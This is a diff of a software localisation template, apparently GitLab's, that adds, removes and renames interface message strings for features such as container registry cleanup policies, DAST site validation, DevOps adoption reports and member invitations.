+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
